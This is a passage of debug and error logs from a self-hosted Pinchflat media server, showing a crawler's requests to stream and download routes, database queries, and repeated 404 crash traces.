Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/21741/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgo0I0NYlRmZ8EADOSy"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinc (truncated) 21:55:31.052 [info] GET /media/0da90845-809f-4fcd-9cdc-c5de523ddc30/stream 21:55:31.052 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "0da90845-809f-4fcd-9cdc-c5de523ddc30"} Pipelines: [:maybe_basic_auth] 21:55:31.054 [debug] QUERY OK source="media_items" db=1.5ms idle=1867.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["0da90845-809f-4fcd-9cdc-c5de523ddc30"] 21:55:31.055 [debug] Invalid range request for media item: 0da90845-809f-4fcd-9cdc-c5de523ddc30 - serving full file 21:55:31.056 [info] Sent 200 in 3ms 21:55:47.499 [info] {"source":"oban","duration":2223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.187 [info] {"source":"oban","duration":932,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:56:13.078 [info] GET /media/a97566d0-a731-4a0f-b965-343da6dda4a8/stream 21:56:13.078 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "a97566d0-a731-4a0f-b965-343da6dda4a8"} Pipelines: [:maybe_basic_auth] 21:56:13.079 [info] GET /sources/2/media/24133/force_download 21:56:13.081 [debug] QUERY OK source="media_items" db=1.2ms queue=0.5ms idle=1024.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["a97566d0-a731-4a0f-b965-343da6dda4a8"] 21:56:13.082 [debug] Invalid range request for media item: a97566d0-a731-4a0f-b965-343da6dda4a8 - serving full file 21:56:13.082 [info] Sent 200 in 4ms 21:56:13.084 [debug] QUERY OK source="settings" db=2.6ms idle=1026.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:13.103 [debug] QUERY OK source="settings" db=18.7ms idle=131.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:13.103 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:56:13.104 [error] #PID<0.1309796.0> running PinchflatWeb.Endpoint (connection #PID<0.1309795.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/24133/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/24133/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/24133/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49330}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309796.0>, params: %{}, path_info: ["sources", "2", "media", "24133", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/24133/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgo2sWE2vRAtqUADOUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/24133/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49330}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/24133/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/24133/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49330}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309796.0>, params: %{}, path_info: ["sources", "2", "media", "24133", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/24133/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgo2sWE2vRAtqUADOUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinc (truncated) 21:56:13.591 [info] GET /sources/2/media/22541/force_download 21:56:13.593 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=537.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:13.594 [debug] QUERY OK source="settings" db=0.4ms idle=538.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:13.594 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:56:13.595 [error] #PID<0.1309794.0> running PinchflatWeb.Endpoint (connection #PID<0.1309795.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sources/2/media/22541/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/22541/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/22541/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49330}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309794.0>, params: %{}, path_info: ["sources", "2", "media", "22541", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/22541/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgo2uQPSppn_k8ADOUS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/22541/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49330}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/22541/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1309795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/22541/force_download", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 49330}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1309794.0>, params: %{}, path_info: ["sources", "2", "media", "22541", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sources/2/media/22541/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKgo2uQPSppn_k8ADOUS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinc (truncated) 21:56:17.505 [info] {"source":"oban","duration":4178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:25.998 [info] GET /sources/2/media/22541 21:56:25.998 [info] GET /sources/2/media/21741 21:56:25.998 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "22541", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 21:56:25.998 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "21741", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 21:56:26.000 [debug] QUERY OK source="media_items" db=1.3ms idle=944.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21741] 21:56:26.001 [debug] QUERY OK source="media_items" db=1.9ms idle=943.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [22541] 21:56:26.004 [debug] QUERY OK source="sources" db=2.0ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:56:26.004 [debug] QUERY OK source="sources" db=2.6ms idle=946.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:56:26.005 [debug] QUERY OK source="tasks" db=3.5ms idle=16.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [22541] 21:56:26.005 [debug] QUERY OK source="tasks" db=3.4ms queue=0.1ms idle=946.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [21741] 21:56:26.007 [debug] QUERY OK source="settings" db=1.4ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:26.008 [debug] QUERY OK source="settings" db=2.1ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:26.009 [debug] QUERY OK source="settings" db=0.9ms queue=0.4ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:26.010 [debug] QUERY OK source="settings" db=1.2ms queue=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:26.010 [debug] QUERY OK source="settings" db=0.9ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:26.012 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:26.015 [debug] QUERY OK source="media_profiles" db=1.5ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:26.015 [debug] QUERY OK source="media_profiles" db=0.9ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:56:26.018 [info] Sent 200 in 19ms 21:56:26.020 [info] Sent 200 in 21ms 21:56:26.423 [info] GET /sources/2/media/28128 21:56:26.424 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "28128", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 21:56:26.425 [debug] QUERY OK source="media_items" db=0.7ms idle=414.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [28128] 21:56:26.427 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=413.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:56:26.429 [debug] QUERY OK source="tasks" db=2.9ms queue=0.1ms idle=415.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [28128] 21:56:26.430 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=414.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2345] 21:56:26.432 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=415.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:26.433 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:26.435 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 